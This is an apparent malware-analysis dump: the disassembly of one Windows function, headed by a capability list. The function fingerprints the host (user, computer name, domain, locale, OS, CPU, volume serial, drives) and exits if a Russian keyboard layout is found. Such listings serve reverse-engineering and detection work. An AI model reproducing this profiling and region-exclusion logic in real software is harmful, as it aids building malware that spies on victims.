Function at 0x100080e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get cpu information
Get disk information
Get disk size
Get hostname
Get session user name
Get system information on windows
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esi], 0
je 0x1000811e
push 4
push 0x3000
push 0x202
push 0
call edi
lea ecx, [ebp - 0x14]
mov dword [esi + 8], eax
push ecx
push eax
mov dword [ebp - 0x14], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
cmp dword [esi + 0xc], 0
je 0x10008146
push 4
push 0x3000
push 0x20
push 0
mov dword [ebp - 0x14], 0x1e
call edi
lea ecx, [ebp - 0x14]
mov dword [esi + 0x14], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [esi + 0x18], 0
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
je 0x100081a6
push 4
push 0x3000
push 0x80
push 0
call edi
mov dword [esi + 0x20], eax
test eax, eax
je 0x100081a6
push ecx
push 0x80
push eax
push str.Domain
push str.SYSTEMCurrentControlSet_servicesTcpipParameters
push 0x80000002
call fcn.10008060
test eax, eax
je 0x10008199
mov eax, dword [esi + 0x20]
cmp word [eax], 0
jne 0x100081a6
push str.WORKGROUP
push eax
jmp 0x100081a1
push str.undefined
push dword [esi + 0x20]
call ebx
add esp, 8
cmp dword [esi + 0x30], 0
je 0x10008245
push 4
push 0x3000
push 0x80
push 0
call edi
mov dword [ebp - 0x10], eax
mov dword [esi + 0x38], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.Control_PanelInternational
push 0x80000001
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1000822e
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x40
push eax
push dword [ebp - 0x10]
push 0
push 0
push str.LocaleName
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10008219
mov dword [ebp - 8], 1
jmp 0x1000821f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
jne 0x10008245
push 0x8000
push 0
push dword [esi + 0x38]
mov dword [esi + 0x30], 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [esi + 0x3c], 0
je 0x10008349
push 4
push 0x3000
push 0x8a
push 0
call edi
push 4
push 0x3000
mov dword [ebp - 4], eax
add eax, 0xe
push 4
push 0
mov dword [ebp - 0x10], eax
call edi
mov dword [esi + 0x44], eax
mov edi, 1
mov dword [ebp - 0x14], 1
push edi
push 0x100111c4
push dword [ebp - 4]
call ebx
add esp, 0xc
mov dword [ebp - 0xc], 0
lea eax, [ebp - 8]
inc edi
push eax
push 0x20019
push 0
push str.Keyboard_LayoutPreload
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10008314
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x80
push eax
push dword [ebp - 0x10]
push 0
push 0
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100082e4
mov dword [ebp - 0xc], 1
jmp 0x100082ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
je 0x10008314
push str.00000419
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x100083e2
mov eax, dword [ebp - 0x14]
jmp 0x10008319
xor eax, eax
mov dword [ebp - 0x14], eax
cmp edi, 9
je 0x10008326
test eax, eax
jne 0x10008284
push 0x10011214
push dword [esi + 0x44]
call ebx
add esp, 8
push 0x8000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esi + 0x48], 0
je 0x100083ab
push 4
push 0x3000
push 0x82
push 0
call edi
push ecx
push 0x80
push eax
push 0x10011218
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov dword [esi + 0x50], eax
call fcn.10008060
test eax, eax
jne 0x100083ab
push ecx
push 0x80
push dword [esi + 0x50]
push 0x10011218
push str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersion
push 0x80000002
call fcn.10008060
push str.error
push dword [esi + 0x50]
call ebx
add esp, 8
cmp dword [esi + 0x54], 0
je 0x1000841e
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 4
push 0x3000
push 0x40
push 0
call edi
movzx ecx, word [ebp - 0x48]
mov dword [esi + 0x5c], eax
cmp ecx, 9
ja case.0x100083db.1
movzx ecx, byte [ecx + 0x100087b0]
jmp dword [ecx*4 + 0x1000879c]
push 0x10011210
push dword [esi + 0x44]
call ebx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10011310
jmp 0x10008418
push 0x10011318
jmp 0x10008418
push str.Itanium
jmp 0x10008418
push 0x10011330
jmp 0x10008418
push str.Unknown
push eax
call ebx
add esp, 8
cmp dword [esi + 0x24], 0
je 0x1000843f
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
push eax
lea eax, [esi + 0x2c]
push eax
call fcn.100087c0
test eax, eax
jne 0x1000843f
mov dword [esi + 0x24], eax
cmp dword [esi + 0x60], 0
je 0x10008589
push 4
push 0x3000
push 0x400
push 0
call edi
push 4
push 0x3000
push 0xe0c
push 0
mov dword [esi + 0x68], eax
call edi
mov edi, eax
push 0x100
push edi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
lea ecx, [edi + 0x600]
push 0x100
mov word [edi + 6], ax
lea eax, [edi + 0x400]
push eax
lea eax, [edi + 0x604]
push eax
lea eax, [edi + 0x608]
push eax
push ecx
push 0x100
lea eax, [edi + 0x200]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ecx
push 0x80
lea ecx, [edi + 0x60c]
push ecx
push str.ProcessorNameString
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.10008060
test eax, eax
je 0x1000850a
lea eax, [edi + 0x60c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [edi + 0x60c]
push ecx
push 0x80
lea eax, [ecx + eax*2]
push eax
push str.Identifier
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.10008060
push dword [edi + 0x600]
push 0x100111c4
push dword [esi + 0x68]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [edi + 0x60c]
add esp, 0xc
push eax
push dword [esi + 0x68]
call ebx
push str.RtlComputeCrc32
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x10008569
push dword [esi + 0x68]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [esi + 0x68]
push 0x29a
call dword [ebp - 0x18]
mov dword [esi + 0x6c], eax
jmp 0x10008570
mov dword [esi + 0x6c], 0
mov eax, dword [edi + 0x600]
push 0x8000
push 0
push edi
mov dword [esi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1000858f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp dword [esi + 0x74], 0
je 0x10008742
push 4
push 0x3000
push 0x400
push 0
mov dword [ebp - 0x40], str.UNKNOWN
mov dword [ebp - 0x3c], str.NO_ROOT_DIR
mov dword [ebp - 0x38], str.REMOVABLE
mov dword [ebp - 0x34], str.FIXED
mov dword [ebp - 0x30], str.REMOTE
mov dword [ebp - 0x2c], str.CDROM
mov dword [ebp - 0x28], str.RAMDISK
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0x7c], eax
lea ecx, [ebp - 0x80]
mov eax, 0x41
lea esp, [esp]
mov word [ecx], ax
lea ecx, [ecx + 2]
inc eax
cmp ax, 0x5a
jbe 0x100085f0
mov eax, dword [0x100103f8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x100103fc]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov ax, word [ebp + eax*2 - 0x80]
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edi, eax
cmp edi, 2
jbe 0x1000871d
cmp edi, 5
je 0x1000871d
xor eax, eax
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x24]
push eax
push dword [esi + 0x7c]
call ebx
push dword [ebp + edi*4 - 0x40]
mov eax, 0x5c
push dword [esi + 0x7c]
mov word [ebp - 0x20], ax
call ebx
push 0x10011470
push dword [esi + 0x7c]
call ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
je 0x10008713
mov edi, dword [ebp - 0x18]
imul edi, dword [ebp - 0x10]
push 0
push edi
push 0
push dword [ebp - 0xc]
call fcn.10009960
push 0
push edi
push 0
push dword [ebp - 8]
mov dword [ebp - 4], eax
mov ebx, edx
call fcn.10009960
mov edi, dword [ebp - 4]
mov ecx, edi
push dword [esi + 0x7c]
sub ecx, eax
mov eax, ebx
mov dword [ebp - 0x1c], ecx
sbb eax, edx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esi + 0x7c]
push ebx
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push edi
lea eax, [ecx + eax*2]
push 0x10011474
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0x10
push dword [esi + 0x7c]
call edi
push dword [ebp - 4]
mov ecx, dword [esi + 0x7c]
push dword [ebp - 0x1c]
push str._I64u
lea eax, [ecx + eax*2]
push eax
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x10
push 0x10011490
push dword [esi + 0x7c]
call ebx
jmp 0x10008723
push 0x10011494
push dword [esi + 0x7c]
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x1b
jb 0x10008612
push dword [esi + 0x7c]
call edi
mov ecx, dword [esi + 0x7c]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
cmp dword [esi + 0x80], 0
je 0x10008790
push 4
push 0x3000
push 0x81
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0x84], eax
test eax, eax
je 0x10008786
push ecx
push eax
call fcn.10007c40
test eax, eax
jne 0x10008790
push 0x8000
push eax
push dword [esi + 0x84]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esi + 0x80], 0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret